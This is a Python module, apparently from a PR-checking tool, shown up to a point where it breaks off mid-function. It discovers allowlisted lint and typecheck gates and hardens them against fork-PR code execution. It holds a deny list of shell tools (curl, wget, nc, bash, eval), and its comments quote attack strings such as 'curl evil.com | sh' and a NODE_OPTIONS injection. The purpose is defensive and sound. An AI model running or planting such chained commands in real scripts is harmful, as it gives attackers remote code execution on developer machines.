Buckets:
"""Deterministic gates for ``pdd checkup --pr --review-loop``.
The review loop's LLM reviewer (codex/claude/gemini) can declare a PR
"clean" while a fast, deterministic local check still fails on the
worktree (e.g. ``prettier --check`` finds unformatted files). This
module discovers a conservative, allowlisted set of repo-local gates,
runs each as a bounded list-form subprocess, and converts failures into
synthetic blocker ``ReviewFinding`` entries that the review loop must
treat exactly like reviewer findings: refuse the clean verdict, feed
them to the fixer, and re-run gates on the next round.
Trust-boundary invariants:
* All commands are list-form. ``shell=True`` is never used.
* Discovery is allowlist-only. Anything not explicitly recognized is
skipped, not best-effort guessed.
* The runner never raises. ``subprocess.run`` errors are captured as
``GateResult`` rows with ``exit_code=None`` and a non-empty ``error``.
* All stdout/stderr is truncated to roughly 10KB each side and scrubbed
via ``pdd.checkup_review_loop._scrub_secrets`` before persistence or
rendering.
* Environment is scrubbed: ``CI=1``, ``NO_COLOR=1``, ``FORCE_COLOR=0``,
``COREPACK_ENABLE_AUTO_PIN=0`` are injected; ``PDD_*`` mutating envs
are stripped so a gate cannot inherit reviewer/fixer state. The
Python import-path family
(``PYTHONPATH``/``PYTHONHOME``/``PYTHONSTARTUP``/``PYTHONUSERBASE``/
``PYTHONNOUSERSITE``) is also stripped (iter-38 Finding 3). The
Node/npm import-path and config family
(``NPM_CONFIG_*``/``npm_config_*``/``NODE_OPTIONS``/``NODE_PATH``) is
stripped too: ``NPM_CONFIG_SCRIPT_SHELL`` would otherwise redirect
``npm run`` to a PR-controlled shell binary even on a clean
``.npmrc``, ``NODE_OPTIONS=--require=./evil.js`` would inject
arbitrary JS into the ``npx --no-install tsc`` gate, and ``NODE_PATH``
is Node's ``PYTHONPATH`` analogue (iter-39 Finding 3).
``COREPACK_ENABLE_AUTO_PIN=0`` keeps Corepack-managed yarn/pnpm from
mutating ``package.json`` (auto-pinning a ``packageManager`` field
on first run) inside the loop-owned worktree (iter-39 Finding 1).
* PATH is sanitized: empty entries, ``.``, relative entries, and any
entry that resolves inside the worktree are stripped before the
gate runs and before any tool-resolution (``shutil.which``) call
inside discovery. An operator with ``PATH=.:$PATH`` (or a PATH
entry that points at the loop's worktree) would otherwise let a
PR-shipped ``./git`` / ``./mypy`` / ``./npm`` / ``./npx`` shim become
the gate binary (iter-40 Finding 1). Tool argv stored on ``Gate.cmd`` is
ALWAYS the absolute path returned by ``shutil.which`` against the
sanitized PATH, never the bare tool name, so ``subprocess.run``
cannot re-consult PATH at execution time.
* The runner's ``cwd`` is always the loop-owned PR worktree.
"""
from __future__ import annotations
import ast
import datetime as _dt
import fnmatch
import json
import logging
import os
import re
import shlex
import shutil
import subprocess
import sys
import time
from dataclasses import dataclass
from pathlib import Path
from typing import Any, Dict, List, Optional, Sequence, Set, Tuple
logger = logging.getLogger(__name__)
# Approximate per-stream excerpt cap. Bounded to keep prompt injection
# tractable and to keep persisted artifacts small. We leave a generous
# margin over the literal byte count so a small "[truncated]" marker
# fits without violating the integration-side budget contract.
_EXCERPT_LIMIT = 10_000
# Per-gate default timeout in seconds. The runner enforces this even
# when ``Gate.timeout`` is left at the dataclass default so a discovery
# bug cannot wedge the review loop.
DEFAULT_GATE_TIMEOUT_SECONDS: float = 60.0
# ---------------------------------------------------------------------------
# Dataclasses
# ---------------------------------------------------------------------------
@dataclass
class Gate:
"""A single discovered deterministic gate.
The ``cmd`` field is the literal list-form argv. The runner
``run_gates`` is responsible for spawning the subprocess; this
dataclass is data only.
"""
name: str
cmd: List[str]
source: str
severity: str = "blocker"
timeout: float = DEFAULT_GATE_TIMEOUT_SECONDS
area: str = "deterministic-gate"
required_fix_hint: str = ""
def to_dict(self) -> Dict[str, object]:
# Iter-24 Finding 1: scrub every string field before
# serialization. The dict feeds both the per-round JSON
# manifest (``round-{R}-{mode}-gates.json``) and the
# in-memory ``state.gate_runs`` row that the review loop
# persists into ``final-state.json`` — both are long-term
# audit surfaces, and a fork PR can poison ``package.json``
# script bodies with literal tokens that would otherwise
# land verbatim in those artifacts. The Gate's bare ``cmd``
# list still flows through ``_execute_one`` unchanged for
# subprocess invocation; only the serialized projection
# gets the scrub.
return {
"name": _scrub(self.name),
"cmd": [_scrub(arg) for arg in self.cmd],
"source": _scrub(self.source),
"severity": self.severity,
"timeout": self.timeout,
"area": self.area,
"required_fix_hint": _scrub(self.required_fix_hint),
}
@dataclass
class GateResult:
"""Result of executing a single gate.
``exit_code is None`` indicates a runner-side failure (timeout,
missing binary, OSError). In that case ``error`` carries a short
human-readable description and the gate is treated as a failure by
``gate_results_to_findings``.
"""
gate: Gate
exit_code: Optional[int]
stdout_excerpt: str
stderr_excerpt: str
duration_seconds: float
started_at_iso: str
error: str = ""
@property
def passed(self) -> bool:
return self.exit_code == 0
def to_dict(self) -> Dict[str, object]:
return {
"gate": self.gate.to_dict(),
"exit_code": self.exit_code,
"stdout_excerpt": self.stdout_excerpt,
"stderr_excerpt": self.stderr_excerpt,
"duration_seconds": self.duration_seconds,
"started_at_iso": self.started_at_iso,
"error": self.error,
"passed": self.passed,
}
# ---------------------------------------------------------------------------
# Discovery
# ---------------------------------------------------------------------------
# npm script names this module recognizes as deterministic gates. Anything
# else is skipped: discovery is allowlist-only on purpose.
_RECOGNIZED_NPM_SCRIPTS: Tuple[str, ...] = (
"format:check",
"prettier:check",
"lint:check",
"typecheck",
"tsc",
"tsc:noemit",
)
# Substrings whose presence in an npm script command disqualifies the
# script entirely. Mutation, install, or deployment scripts must never
# run from a checkup gate.
_FORBIDDEN_SCRIPT_FRAGMENTS: Tuple[str, ...] = (
"--write",
"--fix",
"git push",
"rm -",
"rimraf",
# Iter-26 Finding 2: ``--cache`` produces ``.eslintcache`` /
# ``.prettiercache`` / ``.tsbuildinfo`` artifacts next to the
# source, which the loop's downstream commit/push helper can
# stage into the PR on repos whose .gitignore does not exclude
# them. Gates must be non-mutating (issue #1092 product
# requirement).
"--cache",
# ``build:`` (with the colon) is an npm-script-namespace
# prefix; bare ``build`` is too common in legitimate filenames
# (``src/build_utils.ts``) so it is checked separately with a
# word-boundary match below.
"build:",
)
# Iter-31 Finding 3: word-bounded fragments. Bare-substring
# matching rejects legitimate filenames like ``src/install.ts`` or
# ``utils/start.ts`` even though the script body itself is safe.
# These tokens are dangerous only when they appear as standalone
# command/argv tokens, not when embedded in a path or identifier.
# Each entry is matched as a whitespace-delimited token (with
# start-of-string and end-of-string also treated as whitespace).
_FORBIDDEN_WORD_FRAGMENTS: Tuple[str, ...] = (
"install",
"publish",
"deploy",
"start",
"build",
)
# Shell metacharacters and compound-command operators. npm/yarn/pnpm
# scripts run through ``<runner> run <name>`` which invokes a shell on
# the script body, so ANY metacharacter that lets a script chain or
# substitute commands turns the allowlist into a foothold:
# ``"format:check": "prettier --check && curl evil.com"`` would pass
# the head check and then execute the appended exfiltration. Reject
# the whole script when any of these tokens appear. List spans the
# minimum metachar set codex review iteration 1 Finding 1 requested
# plus the obvious shell-out binaries.
#
# POSIX shell metacharacters only. Windows cmd.exe metacharacters
# (e.g. ``^``, ``%VAR%``) are out of v1 scope: PDD is a Unix-first
# project and ``package.json`` scripts are conventionally written for
# POSIX shells (codex review iteration 2, Finding 3 — info).
_SHELL_METACHAR_TOKENS: Tuple[str, ...] = (
"&&",
"||",
";",
"|",
"&",
"`",
"$(",
"${",
">",
">>",
"<",
"<<",
"\n",
"\r",
" curl ",
" wget ",
" nc ",
" bash ",
" sh ",
" eval ",
"node -e",
)
# Heads (after stripping the package manager prefix like ``npm run``) that
# we accept as gate-style commands.
_ACCEPTABLE_SCRIPT_HEADS: Tuple[str, ...] = (
"prettier --check",
"tsc --noemit",
# Iter-26 Finding 1: ``tsc -p <project>`` without ``--noEmit``
# writes .js/.d.ts/.tsbuildinfo files next to the source — bare
# ``tsc -p`` is therefore NOT acceptable. ``_script_is_acceptable``
# accepts the ``tsc -p`` head only when the script body ALSO
# contains ``--noEmit`` somewhere in its argv (see the explicit
# check in ``_script_is_acceptable``); the head string itself is
# kept as ``tsc -p`` so the head match still works.
"tsc -p",
# ``eslint`` is accepted ONLY when ``--no-fix`` is explicitly
# present (the prompt-side contract). ESLint config files can
# silently enable ``fix`` mode and mutate the worktree on
# certain projects, so we require the operator to opt out
# rather than guessing.
"eslint",
)
def _detect_node_runner(worktree: Path) -> str:
"""Return the package manager binary to invoke for npm scripts.
Prefers ``pnpm``/``yarn``/``bun`` lockfiles over plain ``npm``. The
return value is the literal argv[0]; the caller appends ``run`` +
script name.
"""
if (worktree / "pnpm-lock.yaml").exists():
return "pnpm"
if (worktree / "yarn.lock").exists():
return "yarn"
if (worktree / "bun.lockb").exists():
return "bun"
return "npm"
def _script_is_acceptable(command: str) -> bool:
"""Return True when an npm-script command-string is allowlisted.
The npm-run path delegates to ``<runner> run <name>`` which spawns a
shell for the script body. Anything beyond a single recognised tool
head and its arguments must be rejected:
* ``_FORBIDDEN_SCRIPT_FRAGMENTS`` blocks mutation/install/deploy
semantics even when wrapped in an allowlisted head.
* ``_SHELL_METACHAR_TOKENS`` blocks command chaining and substitution
so a script body like ``prettier --check && curl evil.com`` cannot
slip through the head check.
The metachar check is performed against the ORIGINAL (case-preserved)
command for substrings that are case-sensitive (e.g. ``$(``), and
against the lower-cased form for word-style fragments (e.g.
``" curl "``). Both modes are inclusive: any match rejects the
script.
"""
if not command:
return False
lowered = command.lower()
# ``--no-install`` is the SAFE form of ``npx`` (operators opt out
# of the registry-install fallback) and MUST be exempted from the
# ``install`` substring check below. Strip it before scanning so
# the forbidden-fragment loop cannot misclassify the safe flag as
# an ``npm install`` smuggle. The npx-prefix logic further down
# re-checks for ``--no-install`` on the original string so this
# strip does not loosen acceptance.
scan_target = lowered.replace("--no-install", "")
for forbidden in _FORBIDDEN_SCRIPT_FRAGMENTS:
if forbidden in scan_target:
return False
# Iter-31 Finding 3: word-bounded fragments. Match each forbidden
# word ONLY when it appears as a standalone token (preceded and
# followed by whitespace, start, or end). This stops bare
# ``install`` inside a legitimate path like ``src/install.ts``
# from falsely rejecting the script.
word_tokens = set(scan_target.split())
for word in _FORBIDDEN_WORD_FRAGMENTS:
if word in word_tokens:
return False
# Case-sensitive shell metachar / substitution / redirection /
# newline / lead-with-shell-binary tokens. Tokens carrying a space
# are matched space-padded to avoid clobbering legitimate paths like
# ``./sh-test/`` while still catching `` bash `` / `` sh `` / `` nc ``.
padded = " " + lowered + " "
for token in _SHELL_METACHAR_TOKENS:
if token.startswith(" ") and token.endswith(" "):
if token in padded:
return False
else:
if token in command or token in lowered:
return False
# Iter-22 Finding 2 + iter-31 Finding 1: ``npx --no-install`` is
# the only safe package-manager prefix. ``npm run <X>`` / ``yarn
# run <X>`` / ``pnpm run <X>`` / ``bun run <X>`` / bare
# ``yarn <X>`` etc. all dispatch to a DIFFERENT named script in
# ``package.json`` whose body we never validated — a fork PR can
# add ``"prettier": "sh -c 'curl evil.com | sh'"`` and the
# accepted ``format:check`` script body of ``yarn run prettier
# --check .`` becomes RCE. Reject every "dispatch" prefix
# outright; operators who want a gate must invoke the tool
# directly (e.g. ``"format:check": "prettier --check ."``) or
# via the validated ``npx --no-install`` path.
stripped = lowered
if stripped.startswith("npx "):
if "--no-install" not in stripped:
return False
stripped = stripped[len("npx ") :].lstrip()
# Skip the ``--no-install`` flag itself so the tool head
# comparison below sees ``tsc`` / ``prettier`` directly.
if stripped.startswith("--no-install"):
stripped = stripped[len("--no-install") :].lstrip()
else:
for forbidden_prefix in (
"npm run ",
"yarn run ",
"pnpm run ",
"bun run ",
"yarn ",
"pnpm ",
"bun ",
):
if stripped.startswith(forbidden_prefix):
return False
for head in _ACCEPTABLE_SCRIPT_HEADS:
if stripped.startswith(head):
# Iter-27 Finding 2: tighten the head match — ``stripped``
# may continue with arbitrary suffix bytes (``tsc --noemit``
# head matches both ``tsc --noEmitOnError`` and
# ``tsc --noEmit false``, both of which emit). Require the
# head to be followed by whitespace, end-of-string, or
# ``=`` (to allow ``--check=…`` shapes) so a different
# flag with a shared prefix cannot smuggle past.
tail = stripped[len(head) :]
if tail and not tail[0].isspace() and tail[0] != "=":
continue
tokens = stripped.split()
# Iter-26 Finding 1 + iter-27 Finding 2: ``tsc -p
# <project>`` without ``--noEmit`` emits artifacts. Use
# tokenized matching so ``--noEmitOnError`` (different
# token) and ``--noEmit false`` (explicit disable) do NOT
# qualify as "noEmit is set".
if head == "tsc -p" and not _has_active_noemit(tokens):
return False
if head == "tsc --noemit" and not _has_active_noemit(tokens):
# Catches ``tsc --noEmit false`` which started with
# the head but explicitly disables emit-skipping.
return False
# Iter-33: tsc supports a long tail of flags that either
# hang the process or write artifacts into the worktree.
# ``--noEmit`` only suppresses ``.js`` / ``.d.ts`` emit —
# not these. Reject any tsc-flavoured script whose argv
# carries one of them.
if head.startswith("tsc") and _tsc_argv_is_unsafe(tokens):
return False
# Iter-26 Finding 2: ``eslint`` requires explicit
# ``--no-fix``. The prior rule (accept unless ``--fix`` is
# present) was too permissive: ESLint config files can
# silently enable fix mode via ``"fix": true`` in the
# config object even when the CLI argv has no ``--fix``,
# and the worktree gets mutated. Force operators to opt
# out explicitly.
if head == "eslint" and "--no-fix" not in stripped:
return False
return True
return False
def _tsc_argv_is_unsafe(tokens: List[str]) -> bool:
"""Return True iff a tsc-flavoured script argv carries a flag
that either hangs the gate or writes artifacts into the worktree.
iter-33: ``--noEmit`` only suppresses ``.js``/``.d.ts`` emit. A
long tail of OTHER tsc flags still mutates the worktree or
blocks indefinitely:
* ``--watch`` / ``-w`` — never exits; the gate will fire its
timeout and surface a false runner-error blocker.
* ``--incremental`` (without an explicit ``false`` value) —
writes ``tsconfig.tsbuildinfo`` even when ``--noEmit`` is set.
* ``--generateTrace <dir>`` — writes ``trace.json`` /
``types.json`` into the named directory inside the worktree.
* ``--generateCpuProfile <file>`` — writes a CPU profile to
the worktree.
The direct ``tsc-noemit`` gate explicitly emits
``--incremental false`` / ``--tsBuildInfoFile <devnull>`` and
skips when the operator's tsconfig signals emit, so it is not
affected — this helper guards the script-based path that runs
the operator's argv verbatim.
"""
unsafe_simple = {
"--watch",
"-w",
"--generatetrace",
"--generatecpuprofile",
# Diagnostic dumps that go to stdout/disk depending on
# the operator's redirection. Reject defensively; the
# gate doesn't need them.
"--listfiles",
"--listemittedfiles",
"--diagnostics",
"--extendeddiagnostics",
"--traceresolution",
}
for i, t in enumerate(tokens):
if t in unsafe_simple:
return True
if t == "--incremental":
# Allowed ONLY when the value is an explicit disable.
if i + 1 < len(tokens) and tokens[i + 1] in (
"false",
"0",
"no",
):
continue
return True
# ``--incremental=true`` / ``--watch=true`` short forms.
if t.startswith("--incremental="):
value = t.split("=", 1)[1]
if value not in ("false", "0", "no"):
return True
if t.startswith("--watch="):
value = t.split("=", 1)[1]
if value not in ("false", "0", "no"):
return True
return False
def _has_active_noemit(tokens: List[str]) -> bool:
"""Return True iff ``--noEmit`` is present and not explicitly disabled.
``tokens`` is the lowercased, whitespace-split argv. The check is
word-bounded: ``--noemitonerror`` is a SEPARATE TypeScript flag
that does NOT skip emit, so a substring match would silently
accept it (iter-27 Finding 2). Also reject ``--noemit false`` /
``--noemit 0`` / ``--noemit no`` — TypeScript treats those as an
explicit disable.
"""
for i, t in enumerate(tokens):
if t == "--noemit":
if i + 1 < len(tokens) and tokens[i + 1] in (
"false",
"0",
"no",
):
continue
return True
return False
def _extract_tsc_project_paths(script_command: str, worktree: Path) -> List[Path]:
"""Return the worktree-resolved paths a tsc-flavoured script
targets via ``-p <path>`` / ``--project <path>``.
Handles all the shapes ``_script_references_pr_modified_config``
already covers (``-p path`` / ``-p=path`` / quoted forms) and
resolves each against the worktree. Directory targets stay as
directories — ``_collect_tsconfig_chain_paths`` knows to look
for ``<dir>/tsconfig.json`` (iter-37 Finding 2).
Tokenize the RAW command (not a lowercased copy): only the flag
NAMES (``-p`` / ``--project``) are case-insensitive — the path
operands they introduce are real filesystem paths and must keep
their original case. On case-sensitive filesystems (Linux/CI)
a script ``tsc -p Config/Build.json --noEmit`` whose path was
pre-lowercased to ``config/build.json`` would resolve to a
non-existent file, ``_collect_tsconfig_chain_paths`` would
silently return an empty chain, and a PR-touched
``Config/Build.json`` setting ``incremental: true`` would slip
past the tsconfig-emit guard.
"""
if not script_command:
return []
try:
tokens = shlex.split(script_command, posix=True)
except ValueError:
tokens = script_command.split()
flag_words = ("--project", "-p")
flag_equals = tuple(f + "=" for f in flag_words)
raw_paths: List[str] = []
i = 0
while i < len(tokens):
tok = tokens[i]
tok_cmp = tok.lower()
if tok_cmp in flag_words and i + 1 < len(tokens):
raw_paths.append(tokens[i + 1])
i += 2
continue
for prefix in flag_equals:
if tok_cmp.startswith(prefix):
raw_paths.append(tok[len(prefix) :])
break
i += 1
resolved: List[Path] = []
for raw in raw_paths:
if not raw:
continue
if len(raw) >= 2 and raw[0] == raw[-1] and raw[0] in ('"', "'"):
raw = raw[1:-1]
if not raw:
continue
candidate = (worktree / raw).resolve()
try:
candidate.relative_to(worktree.resolve())
except ValueError:
# Refuse to follow paths outside the worktree.
continue
resolved.append(candidate)
return resolved
def _collect_tsconfig_chain_paths(
tsconfig_path: Path,
worktree: Path,
*,
_depth: int = 0,
_seen: Optional[set] = None,
) -> List[str]:
"""Return the worktree-relative POSIX paths of every tsconfig in
the extends chain rooted at ``tsconfig_path``.
iter-36 Finding 3: ``tsconfig.json`` extending ``base.json`` lets
a PR modify ``base.json`` to relax compiler options without
touching any file the iter-27 ``tsconfig*.json`` filename check
or the iter-34 ``--config <path>`` parser would recognise. The
script-tsc gate would then run with PR-controlled compiler
config and could false-pass. ``_discover_npm_gates`` uses this
helper to gate on whether ANY file in the chain is in the PR
diff.
Bounded by ``_MAX_TSCONFIG_EXTENDS_DEPTH``. Refuses to leave the
worktree. Follows only relative-path extends (package-name
extends resolve through ``node_modules`` — already covered by
the ``node_modules_pr_touched`` skip).
"""
if _seen is None:
_seen = set()
paths: List[str] = []
if _depth > _MAX_TSCONFIG_EXTENDS_DEPTH:
return paths
# Iter-37 Finding 2: tsc accepts ``-p <directory>`` and looks
# for ``<dir>/tsconfig.json``. Normalise the initial call so a
# directory root walks the dir's tsconfig.
if tsconfig_path.is_dir():
tsconfig_path = tsconfig_path / "tsconfig.json"
if not tsconfig_path.is_file():
return paths
try:
resolved = tsconfig_path.resolve()
except (OSError, RuntimeError):
return paths
if resolved in _seen:
return paths
_seen.add(resolved)
try:
rel = resolved.relative_to(worktree.resolve()).as_posix()
except ValueError:
# The resolved path escaped the worktree; treat as
# untrustworthy and stop the walk.
return paths
paths.append(rel)
try:
text = resolved.read_text(encoding="utf-8")
except (OSError, UnicodeDecodeError):
return paths
extends_targets: List[str] = []
single = re.search(r'"extends"\s*:\s*"([^"]+)"', text)
if single:
extends_targets.append(single.group(1))
array = re.search(r'"extends"\s*:\s*\[([^\]]+)\]', text)
if array:
for m in re.finditer(r'"([^"]+)"', array.group(1)):
extends_targets.append(m.group(1))
for target in extends_targets:
if not (
target.startswith("./")
or target.startswith("../")
or target.startswith("/")
):
# Package-name extends — out of worktree, skip.
continue
candidate = (resolved.parent / target).resolve()
if candidate.is_dir():
candidate = candidate / "tsconfig.json"
elif not candidate.name.endswith(".json"):
candidate = candidate.with_suffix(candidate.suffix + ".json")
paths.extend(
_collect_tsconfig_chain_paths(
candidate, worktree, _depth=_depth + 1, _seen=_seen
)
)
return paths
def _tsconfig_chain_signals_emit(
tsconfig_path: Path, worktree: Path, *, _depth: int = 0
) -> bool:
"""Return True iff ``tsconfig_path`` or any ``extends`` ancestor
sets ``incremental: true`` or ``composite: true``.
Both flags cause TypeScript to write ``tsconfig.tsbuildinfo``
(and ``composite: true`` also conflicts with ``--noEmit`` and
forces emit), so a script-based ``tsc`` gate cannot safely run
on such a repo: we cannot inject ``--incremental false`` /
``--composite false`` like the direct gate does. iter-29
Finding 1: the iter-28 top-level-only scan missed extends-chain
bases (``tsconfig.base.json`` and friends). iter-38 Finding 2
extends the scan starting point to every custom ``-p`` /
``--project`` target a recognised tsc-flavoured script references,
so this helper now also accepts the directory shape (``tsc -p
config/build/`` resolves to ``config/build/tsconfig.json``).
Bounded by ``_MAX_TSCONFIG_EXTENDS_DEPTH`` to defend against
cyclic / pathological extends chains and to keep discovery
fast on the common case.
"""
if _depth > _MAX_TSCONFIG_EXTENDS_DEPTH:
return False
# iter-38 Finding 2: tsc's ``-p <dir>`` shape resolves to
# ``<dir>/tsconfig.json``. Mirror ``_collect_tsconfig_chain_paths``
# so a directory root walks the same chain.
if tsconfig_path.is_dir():
tsconfig_path = tsconfig_path / "tsconfig.json"
if not tsconfig_path.is_file():
return False
try:
text = tsconfig_path.read_text(encoding="utf-8")
except (OSError, UnicodeDecodeError):
return False
if re.search(r'"incremental"\s*:\s*true', text) or re.search(
r'"composite"\s*:\s*true', text
):
return True
# ``extends`` can be a single string or an array of strings.
# Regex is good enough — tsconfig.json allows comments + trailing
# commas so a strict json.loads would reject many real files.
extends_targets: List[str] = []
single = re.search(r'"extends"\s*:\s*"([^"]+)"', text)
if single:
extends_targets.append(single.group(1))
array = re.search(r'"extends"\s*:\s*\[([^\]]+)\]', text)
if array:
for m in re.finditer(r'"([^"]+)"', array.group(1)):
extends_targets.append(m.group(1))
for target in extends_targets:
# Iter-30 Finding 2: package-name extends (e.g.
# ``"@tsconfig/strictest"``, ``"@demo/tsconfig"``) resolve
# through ``node_modules`` and so MAY set
# ``incremental: true`` or ``composite: true`` themselves —
# we cannot statically know without parsing the resolved
# config. Treat the chain as emit-signalling whenever it
# extends any non-relative target. A fork PR can also add
# the corresponding ``node_modules/@…/tsconfig.json`` file
# outright; the ``node_modules_pr_touched`` skip in
# ``_discover_npm_gates`` handles that for script gates,
# but for the chain-walk we conservatively assume the
# worst.
if not (
target.startswith("./")
or target.startswith("../")
or target.startswith("/")
):
return True
candidate = (tsconfig_path.parent / target).resolve()
# Defense in depth: refuse to leave the worktree.
try:
candidate.relative_to(worktree.resolve())
except ValueError:
continue
# Allow either explicit path or ``<path>/tsconfig.json``.
if candidate.is_dir():
candidate = candidate / "tsconfig.json"
if not candidate.name.endswith(".json"):
candidate = candidate.with_suffix(candidate.suffix + ".json")
if _tsconfig_chain_signals_emit(candidate, worktree, _depth=_depth + 1):
return True
return False
_MAX_TSCONFIG_EXTENDS_DEPTH = 8
# Iter-38 Finding 1: package-manager config files in the worktree
# redirect script execution at the npm/pnpm/yarn level — well below
# the script-body allowlist the discovery code enforces. ``.npmrc``'s
# ``script-shell`` key replaces ``/bin/sh`` with any binary the PR
# can ship in the worktree, turning the validated argv
# ``prettier --check .`` into ``./evil-sh -c "prettier --check ."``.
# yarn's ``yarn-path`` (yarn 1) and ``yarnPath`` (yarn 2+) replace the
# yarn binary itself with a PR-controlled JS file. yarn 2+ also boots
# from ``.yarn/releases/yarn-*.cjs`` which is PR-controllable. The
# direct ``npx --no-install tsc`` gate is ALSO vulnerable: npx reads
# ``.npmrc`` and honours ``script-shell``, confirmed against
# npm 10.x. This whole family must short-circuit the npm gate path
# (iter-38 Finding 1, validated repro).
_PACKAGE_MANAGER_CONFIG_BASENAMES: Tuple[str, ...] = (
".npmrc",
".pnpmrc",
".yarnrc",
".yarnrc.yml",
)
def _npm_runner_redirect_unsafe(worktree: Path, pr_changed_set: set) -> bool:
"""Return True iff a package-manager config can redirect npm-family
script execution to a PR-controlled binary or runtime.
iter-38 Finding 1: kills the entire npm gate path (script gates AND
the direct ``npx --no-install tsc`` gate) when ANY of these hold:
* ``.npmrc`` / ``.pnpmrc`` declares ``script-shell``
* ``.yarnrc`` declares ``script-shell`` or ``yarn-path``
* ``.yarnrc.yml`` declares ``yarnPath``
* ``.yarn/releases/`` exists (yarn 2+ boots from this directory)
* PR diff modifies any of ``.npmrc``/``.pnpmrc``/``.yarnrc``/``.yarnrc.yml``
* PR diff modifies any path under ``.yarn/`` (yarn 2+ plugins and
releases live here and load arbitrary JS at every yarn boot)
Defence-in-depth scope-outs (intentional, follow-up territory):
* Yarn 2+'s ``.yarnrc.yml`` ``plugins:`` key loads ``.cjs`` files
from ``.yarn/plugins/`` at every yarn invocation. A PR diff in
``.yarn/`` or ``.yarnrc.yml`` catches the new-plugin case; a
pre-existing ``plugins:`` block with pre-existing plugin files
is treated as "trusted base" by the iter-37 model (same shape
we already use for pre-existing ``.eslintrc`` config).
* ``package.json:packageManager`` (corepack) can pin a specific
package-manager version that corepack will fetch on first run.
Not gated here in iter-38; a PR diff touching ``package.json``
itself is not yet a kill-switch (the existing tool-config
skips do not cover ``package.json`` at the top level).
The check is fail-closed: an unreadable config or unexpected I/O
error returns True so the gate path skips rather than running with
an unvalidated runner.
"""
# PR-modified config → poisoned baseline, skip outright.
for path in pr_changed_set:
base = path.rsplit("/", 1)[-1]
if base in _PACKAGE_MANAGER_CONFIG_BASENAMES:
return True
if path.startswith(".yarn/"):
return True
# Stable config that already declares a runner-redirect → skip.
npmrc_pattern = re.compile(
r"^\s*script[-_]?shell\s*=", re.MULTILINE | re.IGNORECASE
)
for name in (".npmrc", ".pnpmrc"):
path = worktree / name
if not path.is_file():
continue
try:
text = path.read_text(encoding="utf-8")
except (OSError, UnicodeDecodeError):
return True
if npmrc_pattern.search(text):
return True
yarnrc = worktree / ".yarnrc"
if yarnrc.is_file():
try:
text = yarnrc.read_text(encoding="utf-8")
except (OSError, UnicodeDecodeError):
return True
if re.search(
r"^\s*(script[-_]?shell|yarn-path)\b",
text,
re.MULTILINE | re.IGNORECASE,
):
return True
yarnrc_yml = worktree / ".yarnrc.yml"
if yarnrc_yml.is_file():
try:
text = yarnrc_yml.read_text(encoding="utf-8")
except (OSError, UnicodeDecodeError):
return True
# yarn 2+: yarnPath redirects the yarn binary. plugins ALSO
# load arbitrary JS from the worktree at startup, but the
# presence of ``.yarn/releases/`` already implies yarn 2+ boot
# so the yarn-path key check is the load-bearing signal.
if re.search(
r"^\s*yarnPath\s*:",
text,
re.MULTILINE,
):
return True
# yarn 2+ Plug'n'Play boot loads ``.yarn/releases/yarn-*.cjs``. The
# file is PR-controllable and runs JS at every yarn invocation, so
# its mere presence in the worktree is unsafe for the gate path.
yarn_releases = worktree / ".yarn" / "releases"
if yarn_releases.is_dir():
return True
return False
def _discover_npm_gates(
worktree: Path, changed_files: Sequence[str] = ()
) -> List[Gate]:
package_json = worktree / "package.json"
if not package_json.is_file():
return []
try:
data = json.loads(package_json.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError) as exc:
logger.debug("checkup-gates: package.json unreadable: %s", exc)
return []
scripts = data.get("scripts") or {}
if not isinstance(scripts, dict):
return []
runner = _detect_node_runner(worktree)
pr_changed_set = {f.lower() for f in changed_files}
# Iter-38 Finding 1: short-circuit the entire npm gate path when a
# package-manager config file in the worktree can redirect script
# execution to a PR-controlled binary. See
# ``_npm_runner_redirect_unsafe`` for the precise rules.
if _npm_runner_redirect_unsafe(worktree, pr_changed_set):
logger.debug(
"checkup-gates: skipping all npm-family gates — package-manager "
"config can redirect script execution (iter-38 Finding 1)"
)
return []
# iter-40 Finding 2: a PR that modifies ``package.json`` can set or
# alter the top-level ``packageManager`` field. Corepack (default in
# Node 16+) then fetches and runs THAT PR-selected
# package-manager version on first invocation — turning the
# "local deterministic" gate into a registry download + exec of a
# PR-chosen binary, even if the validated script body is safe.
# iter-38 already covers ``.npmrc`` / ``.pnpmrc`` / ``.yarnrc`` /
# ``.yarnrc.yml`` / ``.yarn/``; ``package.json`` itself was
# explicitly scope-out in iter-38 but the corepack-via-
# ``packageManager`` vector was raised as a blocker in pass 4. Fail
# closed on any PR diff that touches ``package.json``.
if any(
path == "package.json" or path.endswith("/package.json")
for path in pr_changed_set
):
logger.debug(
"checkup-gates: skipping all npm-family gates — PR modified "
"package.json (corepack-via-packageManager risk; iter-40 Finding 2)"
)
return []
# iter-40 Finding 1: resolve the runner to an absolute path against
# a sanitized PATH so a PR-shipped ``./npm`` / ``./pnpm`` / ``./yarn``
# / ``./bun`` shim cannot become the gate binary under
# ``PATH=.:$PATH``. Skip the entire npm path when the resolution
# fails (fail closed: unresolvable runner means we cannot ship a
# safe gate).
runner_abs = _resolve_tool(runner, worktree)
if runner_abs is None:
logger.debug(
"checkup-gates: skipping all npm-family gates — runner %r not on "
"sanitized PATH (iter-40 Finding 1)",
runner,
)
return []
# Iter-27 Finding 3: PR-modified tool config files are RCE-equivalent.
# ``prettier.config.{js,cjs,mjs,ts}``, ``.prettierrc.{js,cjs,mjs,ts}``,
# ``eslint.config.{js,cjs,mjs,ts}``, ``.eslintrc.{js,cjs,mjs}``,
# and ``tsconfig*.json`` are all loaded and executed (or interpreted)
# by the corresponding tool — running ``prettier --check`` after a
# fork PR shipped a poisoned ``prettier.config.cjs`` is RCE. Skip
# the gate that would load each config when the PR modified it.
# Iter-30 Finding 1: every npm script gate invokes a binary from
# ``node_modules`` (directly or via npm's PATH-injection of
# ``node_modules/.bin``). A fork PR can ADD or MODIFY any path
# under ``node_modules/`` — including ``node_modules/.bin/prettier``
# or ``node_modules/typescript/bin/tsc`` — so the gate would
# execute PR-controlled JavaScript. Skip ALL npm-flavoured
# gates (script-based AND the direct tsc-noemit) when the PR
# touched anything under ``node_modules/``. Lockfile updates
# (``package-lock.json`` / ``yarn.lock``) live OUTSIDE
# ``node_modules/`` so the common "add a dependency" PR is not
# affected by this rule.
node_modules_pr_touched = any(
path.startswith("node_modules/") for path in pr_changed_set
)
def _pr_modified_any(prefixes: Tuple[str, ...]) -> bool:
for path in pr_changed_set:
base = path.rsplit("/", 1)[-1]
for pfx in prefixes:
if (
base == pfx
or base.startswith(pfx + ".")
or (pfx.endswith(".") and base.startswith(pfx))
):
return True
# Also match arbitrary-ext variants like
# ``prettier.config.cjs`` against prefix
# ``prettier.config``.
